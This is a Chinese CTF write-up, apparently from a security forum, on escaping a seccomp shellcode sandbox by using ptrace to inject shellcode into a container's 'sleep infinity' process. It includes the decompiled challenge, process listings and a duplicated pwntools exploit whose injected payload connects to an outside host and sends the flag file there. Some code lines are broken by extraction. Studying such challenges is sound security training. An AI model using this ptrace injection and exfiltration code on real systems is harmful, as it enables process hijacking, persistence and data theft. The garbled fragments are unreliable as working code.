开启了 沙箱的 shellcode 题目,沙箱只允许 ptrace ,wait4,read 这三个系统调用使用
主要考点为权限维持中常用的 ptrace 注入木马到其它进程,如果进入 docker,会发现存在 sleep infinity 进程(pwn 题目 docker 都存在该进程)
而 sleep infinity 进程会卡在 pause 不执行,并且其 pid 在第一次 docker 启动时候是 15(如果打崩了可能会变成 14 或 16,测试发现只会是这三种 pid),是比较固定的,也不需要爆破,很适合进行木马注入
于是利用 PTRACE_POKETEXT 将 shellcode 写入到 libc 中具有 x 权限的内存段中,接着利用 PTRACE_SETREGS 和 PTRACE_DETACH 劫持其 rip 为 shellcode 起始地址,然后执行即可。
这里需要注意的是,利用 PTRACE_POKETEXT 写内存时候,不能直接使用 syscall,而是要使用其 ptrcae 函数。
同时需要注意下对齐,可以利用 dmesg 命令查看进程崩溃现象,就可以得到跳转的地址要 + 2
注入的 shellcode 为带 flag 到其它机器的监听端口上,即可读出 flag,需要 docker 能联网,并且执行 exp 时候需要调整下 ip 和 端口
int
__fastcall main(
int
argc,
const
char
**argv,
const
char
**envp)
{
void
*buf;
init(argc, argv, envp);
buf = mmap(0LL, 0x1000uLL, 7, 34, -1, 0LL);
setup_seccomp();
read(0, buf, 0x1000uLL);
((
void
(*)(
void
))buf)();
munmap(buf, 0x1000uLL);
return
0;
}
int
__fastcall main(
int
argc,
const
char
**argv,
const
char
**envp)
{
void
*buf;
init(argc, argv, envp);
buf = mmap(0LL, 0x1000uLL, 7, 34, -1, 0LL);
setup_seccomp();
read(0, buf, 0x1000uLL);
((
void
(*)(
void
))buf)();
munmap(buf, 0x1000uLL);
return
0;
}
root@
92545a25225b
:
/
home
/
sectest
UID PID PPID C STIME TTY TIME CMD
root
1
0
0
04
:
42
?
00
:
00
:
00
/
bin
/
sh
/
start.sh
root
15
1
0
04
:
42
?
00
:
00
:
00
sleep infinity
root
16
1
0
04
:
42
?
00
:
00
:
00
/
usr
/
sbin
/
xinetd
-
pidfile
/
run
/
xinetd.
root
17
0
2
04
:
42
pts
/
0
00
:
00
:
00
/
bin
/
bash
root
25
17
0
04
:
42
pts
/
0
00
:
00
:
00
ps
-
ef
root@
92545a25225b
:
/
home
/
sectest
UID PID PPID C STIME TTY TIME CMD
root
1
0
0
04
:
42
?
00
:
00
:
00
/
bin
/
sh
/
start.sh
root
15
1
0
04
:
42
?
00
:
00
:
00
sleep infinity
root
16
1
0
04
:
42
?
00
:
00
:
00
/
usr
/
sbin
/
xinetd
-
pidfile
/
run
/
xinetd.
root
17
0
2
04
:
42
pts
/
0
00
:
00
:
00
/
bin
/
bash
root
25
17
0
04
:
42
pts
/
0
00
:
00
:
00
ps
-
ef
from
pwn
import
*
from
struct
import
pack
from
ctypes
import
*
import
base64
from
subprocess
import
run
from
struct
import
pack
import
tty
def
debug(c
=
0
):
if
(c):
gdb.attach(p, c)
else
:
gdb.attach(p)
pause()
def
get_sb() :
return
libc_base
+
libc.sym[
'system'
], libc_base
+
next
(libc.search(b
'/bin/sh\x00'
))
s
=
lambda
data : p.send(data)
sa
=
lambda
text,data :p.sendafter(text, data)
sl
=
lambda
data :p.sendline(data)
sla
=
lambda
text,data :p.sendlineafter(text, data)
r
=
lambda
num
=
4096
:p.recv(num)
rl
=
lambda
text :p.recvuntil(text)
pr
=
lambda
num
=
4096
:
print
(p.recv(num))
inter
=
lambda
:p.interactive()
l32
=
lambda
:u32(p.recvuntil(b
'\xf7'
)[
-
4
:].ljust(
4
,b
'\x00'
))
l64
=
lambda
:u64(p.recvuntil(b
'\x7f'
)[
-
6
:].ljust(
8
,b
'\x00'
))
uu32
=
lambda
:u32(p.recv(
4
).ljust(
4
,b
'\x00'
))
uu64
=
lambda
:u64(p.recv(
6
).ljust(
8
,b
'\x00'
))
int16
=
lambda
data :
int
(data,
16
)
lg
=
lambda
s, num :p.success(
'%s -> 0x%x'
%
(s, num))
context(os
=
'linux'
, arch
=
'amd64'
, log_level
=
'debug'
)
p
=
remote(
'xxx'
,
9999
)
def
reverse_groups(data):
reversed_data
=
b''
for
i
in
range
(
0
,
len
(data),
8
):
p_data
=
data[i:i
+
8
]
reversed_data
+
=
p_data[::
-
1
]
return
reversed_data
PTRACE_TRACEME
=
0
PTRACE_PEEKTEXT
=
1
PTRACE_PEEKDATA
=
2
PTRACE_PEEKUSER
=
3
PTRACE_POKETEXT
=
4
PTRACE_POKEDATA
=
5
PTRACE_POKEUSER
=
6
PTRACE_CONT
=
7
PTRACE_SINGLESTEP
=
9
PTRACE_GETREGS
=
12
PTRACE_SETREGS
=
13
PTRACE_ATTACH
=
16
PTRACE_DETACH
=
17
PTRACE_SYSCALL
=
24
pid
=
int
(sys.argv[
1
])
sc
=
'mov r15, rcx; add r15, 0x77ae;'
sc
+
=
shellcraft.ptrace(PTRACE_ATTACH, pid,
0
,
0
)
sc
+
=
shellcraft.wait4(pid,
0
,
0
)
sc
+
=
sc
+
=
shellcraft.ptrace(PTRACE_GETREGS, pid,
0
)
sc
+
=
pid_sc
=
shellcraft.connect(
'xxx'
,
7777
)
pid_sc
+
=
shellcraft.
open
(
'/home/sectest/flag'
,
0
,
0
)
pid_sc
+
=
shellcraft.sendfile(
3
,
4
,
0
,
0x100
)
pid_sc
+
=
shellcraft.exit(
0
)
pid_sc
=
reverse_groups(asm(pid_sc)).
hex
()
sc
+
=
'mov r13, r12; mov r14, r10'
for
i
in
range
(
0
,
len
(pid_sc),
16
):
data
=
int
(pid_sc[i:i
+
16
],
16
)
sc
+
=
%
(
str
(pid),
str
(data))
sc
+
=
%
(
str
(pid))
sc
+
=
sc
+
=
shellcraft.ptrace(PTRACE_SETREGS, pid,
0
)
sc
+
=
shellcraft.ptrace(PTRACE_DETACH, pid,
0
,
0
)
s(asm(sc))
print
(pid)
pause()
from
pwn
import
*
from
struct
import
pack
from
ctypes
import
*
import
base64
from
subprocess
import
run
from
struct
import
pack
import
tty
def
debug(c
=
0
):
if
(c):
gdb.attach(p, c)
else
:
gdb.attach(p)
pause()
def
get_sb() :
return
libc_base
+
libc.sym[
'system'
], libc_base
+
next
(libc.search(b
'/bin/sh\x00'
))
s
=
lambda
data : p.send(data)
sa
=
lambda
text,data :p.sendafter(text, data)
sl
=
lambda
data :p.sendline(data)
sla
=
lambda
text,data :p.sendlineafter(text, data)
r
=
lambda
num
=
4096
:p.recv(num)
rl
=
lambda
text :p.recvuntil(text)
pr
=
lambda
num
=
4096
:
print
(p.recv(num))
inter
=
lambda
:p.interactive()
l32
=
lambda
:u32(p.recvuntil(b
'\xf7'
)[
-
4
:].ljust(
4
,b
'\x00'
))
l64
=
lambda
:u64(p.recvuntil(b
'\x7f'
)[
-
6
:].ljust(
8
,b
'\x00'
))
uu32
=
lambda
:u32(p.recv(
4
).ljust(
4
,b
'\x00'
))
uu64
=
lambda
:u64(p.recv(
6
).ljust(
8
,b
'\x00'
))
int16
=
lambda
data :
int
(data,
16
)
lg
=
lambda
s, num :p.success(
'%s -> 0x%x'
%
(s, num))
context(os
=
'linux'
, arch
=
'amd64'
, log_level
=
'debug'
)
p
=
remote(
'xxx'
,
9999
)
def
reverse_groups(data):
reversed_data
=
b''
for
i
in
range
(
0
,
len
(data),
8
):
p_data
=
data[i:i
+
8
]
reversed_data
+
=
p_data[::
-
1
]
return
reversed_data
PTRACE_TRACEME
=
0
PTRACE_PEEKTEXT
=
1
PTRACE_PEEKDATA
=
2
PTRACE_PEEKUSER
=
3
PTRACE_POKETEXT
=
4
PTRACE_POKEDATA
=
5
PTRACE_POKEUSER
=
6
PTRACE_CONT
=
7
PTRACE_SINGLESTEP
=
9
[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!
最后于 2024-9-2 12:08
被kanxue编辑
,原因: